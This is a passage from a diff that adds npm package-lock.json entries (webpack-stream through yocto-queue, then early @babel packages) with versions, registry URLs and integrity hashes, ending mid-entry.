"memory-fs": "^0.5.0", + "plugin-error": "^1.0.1", + "supports-color": "^8.1.1", + "through": "^2.3.8", + "vinyl": "^2.2.1" + }, + "engines": { + "node": ">= 10.0.0" + }, + "peerDependencies": { + "webpack": "^5.21.2" + } + }, + "node_modules/webpack-stream/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/webpack/node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dev": true, + "peer": true, + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/webpack/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "dev": true, + "peer": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/whatwg-encoding": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz", + "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==", + "dev": true, + "dependencies": { + "iconv-lite": "0.6.3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-mimetype": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz", + "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-url": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-10.0.0.tgz", + "integrity": "sha512-CLxxCmdUby142H5FZzn4D8ikO1cmypvXVQktsgosNy4a4BHrDHeciBBGZhb0bNoR5/MltoCatso+vFjjGx8t0w==", + "dev": true, + "dependencies": { + "tr46": "^3.0.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-module": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-1.0.0.tgz", + "integrity": "sha512-F6+WgncZi/mJDrammbTuHe1q0R5hOXv/mBaiNA2TCNT/LTHusX0V+CJnj9XT8ki5ln2UZyyddDgHfCzyrOH7MQ==", + "dev": true + }, + "node_modules/workerpool": { + "version": "6.1.5", + "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.1.5.tgz", + "integrity": "sha512-XdKkCK0Zqc6w3iTxLckiuJ81tiD/o5rBE/m+nXpRCB+/Sq4DqkfXZ/x0jW02DG1tGsfUGXbTJyZDP+eu67haSw==", + "dev": true + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "node_modules/write-file-atomic": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz", + "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", + "dev": true, + "dependencies": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "node_modules/ws": { + "version": "8.13.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.13.0.tgz", + "integrity": "sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==", + "dev": true, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xml-name-validator": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-4.0.0.tgz", + "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", + "dev": true + }, + "node_modules/xmlcreate": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/xmlcreate/-/xmlcreate-2.0.4.tgz", + "integrity": "sha512-nquOebG4sngPmGPICTS5EnxqhKbCmz5Ox5hsszI2T6U5qdrJizBc+0ilYSEjTSzU0yZcmvppztXe/5Al5fUwdg==", + "dev": true + }, + "node_modules/xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "dev": true, + "engines": { + "node": ">=0.4" + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true + }, + "node_modules/yaml": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.3.1.tgz", + "integrity": "sha512-2eHWfjaoXgTBC2jNM1LRef62VQa0umtvRiDSk6HSzW7RvS5YtkabJrwYLLEKWBc8a5U2PTSCs+dJjUTJdlHsWQ==", + "dev": true, + "engines": { + "node": ">= 14" + } + }, + "node_modules/yargs": { + "version": "17.2.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.2.1.tgz", + "integrity": "sha512-XfR8du6ua4K6uLGm5S6fA+FIJom/MdJcFNVY8geLlp2v8GYbOXD4EB1tPNZsRn4vBzKGMgb5DRZMeWuFc2GO8Q==", + "dev": true, + "dependencies": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "20.2.4", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz", + "integrity": "sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yargs-unparser": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz", + "integrity": "sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==", + "dev": true, + "dependencies": { + "camelcase": "^6.0.0", + "decamelize": "^4.0.0", + "flat": "^5.0.2", + "is-plain-obj": "^2.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/yargs-unparser/node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/yargs-unparser/node_modules/decamelize": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz", + "integrity": "sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/yazl": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/yazl/-/yazl-2.5.1.tgz", + "integrity": "sha512-phENi2PLiHnHb6QBVot+dJnaAZ0xosj7p3fWl+znIjBDlnMI2PsZCJZ306BPTFOaHf5qdDEI8x5qFrSOBN5vrw==", + "dev": true, + "dependencies": { + "buffer-crc32": "~0.2.3" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + } + }, + "dependencies": { + "@aashutoshrathi/word-wrap": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz", + "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==", + "dev": true + }, + "@alloc/quick-lru": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", + "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", + "dev": true + }, + "@ampproject/remapping": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz", + "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==", + "dev": true, + "requires": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "@babel/code-frame": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.5.tgz", + "integrity": "sha512-Xmwn266vad+6DAqEB2A6V/CcZVp62BbwVmcOJc2RPuwih1kw02TjQvWVWlcKGbBPd+8/0V5DEkOcizRGYsspYQ==", + "dev": true, + "requires": { + "@babel/highlight": "^7.22.5" + } + }, + "@babel/compat-data": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.22.9.tgz", + "integrity": "sha512-5UamI7xkUcJ3i9qVDS+KFDEK8/7oJ55/sJMB1Ge7IEapr7KfdfV/HErR+koZwOfd+SgtFKOKRhRakdg++DcJpQ==", + "dev": true + }, + "@babel/core": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.22.9.tgz", + "integrity": "sha512-G2EgeufBcYw27U4hhoIwFcgc1XU7TlXJ3mv04oOv1WCuo900U/anZSPzEqNjwdjgffkk2Gs0AN0dW1CKVLcG7w==", + "dev": true, + "requires": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.22.5", + "@babel/generator": "^7.22.9", + "@babel/helper-compilation-targets": "^7.22.9", + "@babel/helper-module-transforms": "^7.22.9", + "@babel/helpers": "^7.22.6", + "@babel/parser": "^7.22.7", + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.8", + "@babel/types": "^7.22.5", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.2", + "semver": "^6.3.1" + } + }, + "@babel/generator": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.22.9.tgz", + "integrity": "sha512-KtLMbmicyuK2Ak/FTCJVbDnkN1SlT8/kceFTiuDiiRUUSMnHMidxSCdG4ndkTOHHpoomWe/4xkvHkEOncwjYIw==", + "dev": true, + "requires": { + "@babel/types": "^7.22.5", + "@jridgewell/gen-mapping": "^0.3.2", + "@jridgewell/trace-mapping": "^0.3.17", + "jsesc": "^2.5.1" + } + }, + "@babel/helper-annotate-as-pure": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz", + "integrity": "sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==", + "dev": true, + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.22.5.tgz", + "integrity": "sha512-m1EP3lVOPptR+2DwD125gziZNcmoNSHGmJROKoy87loWUQyJaVXDgpmruWqDARZSmtYQ+Dl25okU8+qhVzuykw==", + "dev": true, + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-compilation-targets": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.22.9.tgz", + "integrity": "sha512-7qYrNM6HjpnPHJbopxmb8hSPoZ0gsX8IvUS32JGVoy+pU9e5N0nLr1VjJoR6kA4d9dmGLxNYOjeB8sUDal2WMw==", + "dev": true, + "requires": { + "@babel/compat-data": "^7.22.9", + "@babel/helper-validator-option": "^7.22.5", + "browserslist": "^4.21.9", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + } + }, + "@babel/helper-create-class-features-plugin": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.22.9.tgz", + "integrity": "sha512-Pwyi89uO4YrGKxL/eNJ8lfEH55DnRloGPOseaA8NFNL6jAUnn+KccaISiFazCj5IolPPDjGSdzQzXVzODVRqUQ==", + "dev": true, + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "semver": "^6.3.1" + } + }, + "@babel/helper-create-regexp-features-plugin": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.22.9.tgz", + "integrity": "sha512-+svjVa/tFwsNSG4NEy1h85+HQ5imbT92Q5/bgtS7P0GTQlP8WuFdqsiABmQouhiFGyV66oGxZFpeYHza1rNsKw==", + "dev": true, + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "regexpu-core": "^5.3.1", + "semver": "^6.3.1" + } + }, + "@babel/helper-define-polyfill-provider": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.2.4.tgz", + "integrity": "sha512-OrpPZ97s+aPi6h2n1OXzdhVis1SGSsMU2aMHgLcOKfsp4/v1NWpx3CWT3lBj5eeBq9cDkPkh+YCfdF7O12uNDQ==", + "dev": true, + "requires": { + "@babel/helper-compilation-targets": "^7.13.0", + "@babel/helper-module-imports": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/traverse": "^7.13.0", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2", + "semver": "^6.1.2" + } + }, + "@babel/helper-environment-visitor": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.5.tgz", + "integrity": "sha512-XGmhECfVA/5sAt+H+xpSg0mfrHq6FzNr9Oxh7PSEBBRUb/mL7Kz3NICXb194rCqAEdxkhPT1a88teizAFyvk8Q==", + "dev": true + }, + "@babel/helper-function-name": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.22.5.tgz", + "integrity": "sha512-wtHSq6jMRE3uF2otvfuD3DIvVhOsSNshQl0Qrd7qC9oQJzHvOL4qQXlQn2916+CXGywIjpGuIkoyZRRxHPiNQQ==", + "dev": true, + "requires": { + "@babel/template": "^7.22.5", + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-hoist-variables": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz", + "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==", + "dev": true, + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-member-expression-to-functions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.22.5.tgz", + "integrity": "sha512-aBiH1NKMG0H2cGZqspNvsaBe6wNGjbJjuLy29aU+eDZjSbbN53BaxlpB02xm9v34pLTZ1nIQPFYn2qMZoa5BQQ==", + "dev": true, + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-module-imports": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.22.5.tgz", + "integrity": "sha512-8Dl6+HD/cKifutF5qGd/8ZJi84QeAKh+CEe1sBzz8UayBBGg1dAIJrdHOcOM5b2MpzWL2yuotJTtGjETq0qjXg==", + "dev": true, + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-module-transforms": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.22.9.tgz", + "integrity": "sha512-t+WA2Xn5K+rTeGtC8jCsdAH52bjggG5TKRuRrAGNM/mjIbO4GxvlLMFOEz9wXY5I2XQ60PMFsAG2WIcG82dQMQ==", + "dev": true, + "requires": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/helper-validator-identifier": "^7.22.5" + } + }, + "@babel/helper-optimise-call-expression": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.22.5.tgz", + "integrity": "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==", + "dev": true, + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-plugin-utils": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz", + "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==", + "dev": true + }, + "@babel/helper-remap-async-to-generator": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.22.9.tgz", + "integrity": "sha512-8WWC4oR4Px+tr+Fp0X3RHDVfINGpF3ad1HIbrc8A77epiR6eMMc6jsgozkzT2uDiOOdoS9cLIQ+XD2XvI2WSmQ==", + "dev": true, + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-wrap-function": "^7.22.9" + } + }, + "@babel/helper-replace-supers": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.22.9.tgz", + "integrity": "sha512-LJIKvvpgPOPUThdYqcX6IXRuIcTkcAub0IaDRGCZH0p5GPUp7PhRU9QVgFcDDd51BaPkk77ZjqFwh6DZTAEmGg==", + "dev": true, + "requires": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5" + } + }, + "@babel/helper-simple-access": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz", + "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==", + "dev": true, + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.22.5.tgz", + "integrity": "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==", + "dev": true, + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz", + "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==", + "dev": true, + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-string-parser": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.22.5.tgz", + "integrity": "sha512-mM4COjgZox8U+JcXQwPijIZLElkgEpO5rsERVDJTc2qfCDfERyob6k5WegS14SX18IIjv+XD+GrqNumY5JRCDw==", + "dev": true + }, + "@babel/helper-validator-identifier": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.5.tgz", + "integrity": "sha512-aJXu+6lErq8ltp+JhkJUfk1MTGyuA4v7f3pA+BJ5HLfNC6nAQ0Cpi9uOquUj8Hehg0aUiHzWQbOVJGao6ztBAQ==", + "dev": true + }, + "@babel/helper-validator-option": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.22.5.tgz", + "integrity": "sha512-R3oB6xlIVKUnxNUxbmgq7pKjxpru24zlimpE8WK47fACIlM0II/Hm1RS8IaOI7NgCr6LNS+jl5l75m20npAziw==", + "dev": true + }, + "@babel/helper-wrap-function": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.22.9.tgz", + "integrity": "sha512-sZ+QzfauuUEfxSEjKFmi3qDSHgLsTPK/pEpoD/qonZKOtTPTLbf59oabPQ4rKekt9lFcj/hTZaOhWwFYrgjk+Q==", + "dev": true, + "requires": { + "@babel/helper-function-name": "^7.22.5", + "@babel/template": "^7.22.5", + "@babel/types": "^7.22.5" + } + }, + "@babel/helpers": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.22.6.tgz", + "integrity": "sha512-YjDs6y/fVOYFV8hAf1rxd1QvR9wJe1pDBZ2AREKq/SDayfPzgk0PBnVuTCE5X1acEpMMNOVUqoe+OwiZGJ+OaA==", + "dev": true, + "requires": { + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.6", + "@babel/types": "^7.22.5" + } + }, + "@babel/highlight": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.5.tgz", + "integrity": "sha512-BSKlD1hgnedS5XRnGOljZawtag7H1yPfQp0tdNJCHoH6AZ+Pcm9VvkrK59/Yy593Ypg0zMxH2BxD1VPYUQ7UIw==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.22.5", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "@babel/parser": { + "version": "7.22.7", + "resolved": 